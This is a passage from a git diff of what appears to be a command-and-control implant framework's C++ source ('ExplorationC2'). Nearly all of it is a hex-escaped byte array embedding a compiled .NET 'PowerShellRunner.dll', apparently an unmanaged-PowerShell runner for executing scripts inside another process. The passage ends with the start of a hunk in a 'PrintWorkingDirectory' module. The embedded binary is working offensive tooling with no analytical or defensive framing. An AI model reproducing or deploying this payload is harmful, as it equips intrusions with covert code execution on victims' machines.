00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x65\x52\x00\x65\x00\x61\x00\x64\x00\x4c\x00\x69\x00\x6e\x00\x65\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x81\x52\x00\x65\x00\x61\x00\x64\x00\x4c\x00\x69\x00\x6e\x00\x65\x00\x41\x00\x73\x00\x53\x00\x65\x00\x63\x00\x75\x00\x72\x00\x65\x00\x53\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x49\x46\x00\x6c\x00\x75\x00\x73\x00\x68\x00\x49\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x00\x4b\x47\x00\x65\x00\x74\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x43\x00\x6f\x00\x6e\x00\x74\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x00\x41\x4b\x00\x65\x00\x79\x00\x41\x00\x76\x00\x61\x00\x69\x00\x6c\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x00\x81\x63\x52\x00\x65\x00\x61\x00\x64\x00\x4b\x00\x65\x00\x79\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x4f\x53\x00\x63\x00\x72\x00\x6f\x00\x6c\x00\x6c\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x43\x00\x6f\x00\x6e\x00\x74\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x00\x4b\x53\x00\x65\x00\x74\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x43\x00\x6f\x00\x6e\x00\x74\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x00\x49\x53\x00\x65\x00\x74\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x43\x00\x6f\x00\x6e\x00\x74\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x00\x01\x00\x00\x00\x81\x89\x0d\xf7\xba\x53\x84\x4e\xa6\xc1\x9d\x85\xca\x45\xd1\xdb\x00\x04\x20\x01\x01\x08\x03\x20\x00\x01\x05\x20\x01\x01\x11\x11\x04\x20\x01\x01\x0e\x04\x20\x01\x01\x02\x0a\x07\x04\x12\x0c\x12\x45\x12\x49\x12\x4d\x04\x00\x00\x12\x45\x06\x20\x01\x01\x12\x80\xb1\x08\x00\x02\x12\x49\x12\x51\x12\x45\x04\x20\x00\x12\x4d\x05\x20\x00\x12\x80\xb9\x07\x15\x12\x79\x01\x12\x80\xbd\x05\x20\x01\x13\x00\x08\x09\x20\x02\x01\x11\x80\xc1\x11\x80\xc1\x08\x20\x00\x15\x12\x79\x01\x12\x75\x04\x20\x00\x12\x5d\x05\x20\x02\x01\x08\x08\x05\x00\x00\x12\x80\xc9\x04\x20\x00\x12\x61\x04\x00\x00\x11\x55\x05\x20\x01\x12\x65\x0e\x05\x00\x02\x0e\x0e\x0e\x03\x20\x00\x0e\x08\x07\x02\x11\x80\x99\x11\x80\x9d\x08\xb7\x7a\x5c\x56\x19\x34\xe0\x89\x08\x31\xbf\x38\x56\xad\x36\x4e\x35\x03\x06\x11\x55\x03\x06\x12\x10\x03\x06\x12\x65\x03\x06\x12\x14\x04\x06\x11\x80\x99\x04\x06\x11\x80\x9d\x02\x06\x08\x03\x06\x11\x69\x02\x06\x0e\x04\x00\x01\x0e\x0e\x04\x20\x00\x11\x55\x04\x20\x00\x12\x59\x08\x20\x03\x01\x11\x69\x11\x69\x0e\x06\x20\x02\x01\x0a\x12\x6d\x11\x20\x03\x15\x12\x71\x02\x0e\x12\x75\x0e\x0e\x15\x12\x79\x01\x12\x7d\x0d\x20\x04\x08\x0e\x0e\x15\x12\x79\x01\x12\x80\x81\x08\x0f\x20\x06\x12\x80\x85\x0e\x0e\x0e\x0e\x11\x80\x89\x11\x80\x8d\x09\x20\x04\x12\x80\x85\x0e\x0e\x0e\x0e\x05\x20\x00\x12\x80\x91\x05\x20\x00\x12\x80\x95\x04\x20\x00\x11\x69\x05\x20\x01\x01\x11\x69\x05\x20\x00\x11\x80\x99\x06\x20\x01\x01\x11\x80\x99\x05\x20\x00\x11\x80\x9d\x06\x20\x01\x01\x11\x80\x9d\x03\x20\x00\x08\x0e\x20\x01\x14\x11\x80\xa1\x02\x00\x02\x00\x00\x11\x80\xa5\x03\x20\x00\x02\x08\x20\x01\x11\x80\xa9\x11\x80\xad\x0f\x20\x04\x01\x11\x80\xa5\x11\x80\x9d\x11\x80\xa5\x11\x80\xa1\x09\x20\x02\x01\x11\x80\xa5\x11\x80\xa1\x0f\x20\x02\x01\x11\x80\x9d\x14\x11\x80\xa1\x02\x00\x02\x00\x00\x04\x28\x00\x11\x55\x03\x28\x00\x0e\x04\x28\x00\x12\x59\x04\x28\x00\x12\x5d\x04\x28\x00\x12\x61\x05\x28\x00\x12\x80\x91\x04\x28\x00\x11\x69\x05\x28\x00\x11\x80\x99\x05\x28\x00\x11\x80\x9d\x03\x28\x00\x08\x03\x28\x00\x02\x08\x01\x00\x08\x00\x00\x00\x00\x00\x1e\x01\x00\x01\x00\x54\x02\x16\x57\x72\x61\x70\x4e\x6f\x6e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x54\x68\x72\x6f\x77\x73\x01\x08\x01\x00\x02\x00\x00\x00\x00\x00\x15\x01\x00\x10\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x00\x00\x05\x01\x00\x00\x00\x00\x17\x01\x00\x12\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\xc2\xa9\x20\x20\x32\x30\x31\x34\x00\x00\x29\x01\x00\x24\x64\x66\x63\x34\x65\x65\x62\x62\x2d\x37\x33\x38\x34\x2d\x34\x64\x62\x35\x2d\x39\x62\x61\x64\x2d\x32\x35\x37\x32\x30\x33\x30\x32\x39\x62\x64\x39\x00\x00\x0c\x01\x00\x07\x31\x2e\x30\x2e\x30\x2e\x30\x00\x00\x49\x01\x00\x1a\x2e\x4e\x45\x54\x46\x72\x61\x6d\x65\x77\x6f\x72\x6b\x2c\x56\x65\x72\x73\x69\x6f\x6e\x3d\x76\x34\x2e\x38\x01\x00\x54\x0e\x14\x46\x72\x61\x6d\x65\x77\x6f\x72\x6b\x44\x69\x73\x70\x6c\x61\x79\x4e\x61\x6d\x65\x12\x2e\x4e\x45\x54\x20\x46\x72\x61\x6d\x65\x77\x6f\x72\x6b\x20\x34\x2e\x38\x00\x00\x00\x00\x00\x00\x00\xe4\x4a\xbc\x63\x00\x00\x00\x00\x02\x00\x00\x00\x1c\x01\x00\x00\x08\x4b\x00\x00\x08\x2d\x00\x00\x52\x53\x44\x53\x91\x2b\x85\x33\x26\x5f\xd3\x48\x8d\x4f\x1e\x65\xe1\x5d\xf1\xc7\x01\x00\x00\x00\x42\x3a\x5c\x45\x78\x70\x6c\x6f\x72\x61\x74\x69\x6f\x6e\x43\x32\x5c\x55\x6e\x6d\x61\x6e\x61\x67\x65\x64\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x5c\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x5c\x6f\x62\x6a\x5c\x52\x65\x6c\x65\x61\x73\x65\x5c\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x2e\x70\x64\x62\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4c\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x66\x4c\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5f\x43\x6f\x72\x44\x6c\x6c\x4d\x61\x69\x6e\x00\x6d\x73\x63\x6f\x72\x65\x65\x2e\x64\x6c\x6c\x00\x00\x00\x00\x00\xff\x25\x00\x20\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x10\x00\x00\x00\x18\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x30\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x48\x00\x00\x00\x58\x60\x00\x00\x5c\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x03\x34\x00\x00\x00\x56\x00\x53\x00\x5f\x00\x56\x00\x45\x00\x52\x00\x53\x00\x49\x00\x4f\x00\x4e\x00\x5f\x00\x49\x00\x4e\x00\x46\x00\x4f\x00\x00\x00\x00\x00\xbd\x04\xef\xfe\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x00\x00\x00\x01\x00\x56\x00\x61\x00\x72\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x49\x00\x6e\x00\x66\x00\x6f\x00\x00\x00\x00\x00\x24\x00\x04\x00\x00\x00\x54\x00\x72\x00\x61\x00\x6e\x00\x73\x00\x6c\x00\x61\x00\x74\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x00\x00\x00\x00\xb0\x04\xbc\x02\x00\x00\x01\x00\x53\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x49\x00\x6e\x00\x66\x00\x6f\x00\x00\x00\x98\x02\x00\x00\x01\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x34\x00\x62\x00\x30\x00\x00\x00\x1a\x00\x01\x00\x01\x00\x43\x00\x6f\x00\x6d\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x00\x00\x00\x00\x00\x00\x22\x00\x01\x00\x01\x00\x43\x00\x6f\x00\x6d\x00\x70\x00\x61\x00\x6e\x00\x79\x00\x4e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x11\x00\x01\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x44\x00\x65\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x00\x00\x50\x00\x6f\x00\x77\x00\x65\x00\x72\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x52\x00\x75\x00\x6e\x00\x6e\x00\x65\x00\x72\x00\x00\x00\x00\x00\x30\x00\x08\x00\x01\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x00\x00\x31\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x00\x00\x4a\x00\x15\x00\x01\x00\x49\x00\x6e\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00\x6c\x00\x4e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x50\x00\x6f\x00\x77\x00\x65\x00\x72\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x52\x00\x75\x00\x6e\x00\x6e\x00\x65\x00\x72\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\x48\x00\x12\x00\x01\x00\x4c\x00\x65\x00\x67\x00\x61\x00\x6c\x00\x43\x00\x6f\x00\x70\x00\x79\x00\x72\x00\x69\x00\x67\x00\x68\x00\x74\x00\x00\x00\x43\x00\x6f\x00\x70\x00\x79\x00\x72\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\xa9\x00\x20\x00\x20\x00\x32\x00\x30\x00\x31\x00\x34\x00\x00\x00\x2a\x00\x01\x00\x01\x00\x4c\x00\x65\x00\x67\x00\x61\x00\x6c\x00\x54\x00\x72\x00\x61\x00\x64\x00\x65\x00\x6d\x00\x61\x00\x72\x00\x6b\x00\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x00\x15\x00\x01\x00\x4f\x00\x72\x00\x69\x00\x67\x00\x69\x00\x6e\x00\x61\x00\x6c\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x6e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x50\x00\x6f\x00\x77\x00\x65\x00\x72\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x52\x00\x75\x00\x6e\x00\x6e\x00\x65\x00\x72\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\x42\x00\x11\x00\x01\x00\x50\x00\x72\x00\x6f\x00\x64\x00\x75\x00\x63\x00\x74\x00\x4e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x50\x00\x6f\x00\x77\x00\x65\x00\x72\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x52\x00\x75\x00\x6e\x00\x6e\x00\x65\x00\x72\x00\x00\x00\x00\x00\x34\x00\x08\x00\x01\x00\x50\x00\x72\x00\x6f\x00\x64\x00\x75\x00\x63\x00\x74\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x31\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x00\x00\x38\x00\x08\x00\x01\x00\x41\x00\x73\x00\x73\x00\x65\x00\x6d\x00\x62\x00\x6c\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x31\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x0c\x00\x00\x00\x78\x3c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" }; static const unsigned int PowerShellRunner_dll_len = 13824; diff --git a/modules/PrintWorkingDirectory/PrintWorkingDirectory.cpp b/modules/PrintWorkingDirectory/PrintWorkingDirectory.cpp index 426e1f1..be14df5 100644 --- a/modules/PrintWorkingDirectory/PrintWorkingDirectory.cpp +++ b/modules/PrintWorkingDirectory/PrintWorkingDirectory.cpp @@ -33,9 +33,9 @@ __attribute__((visibility("default"))) 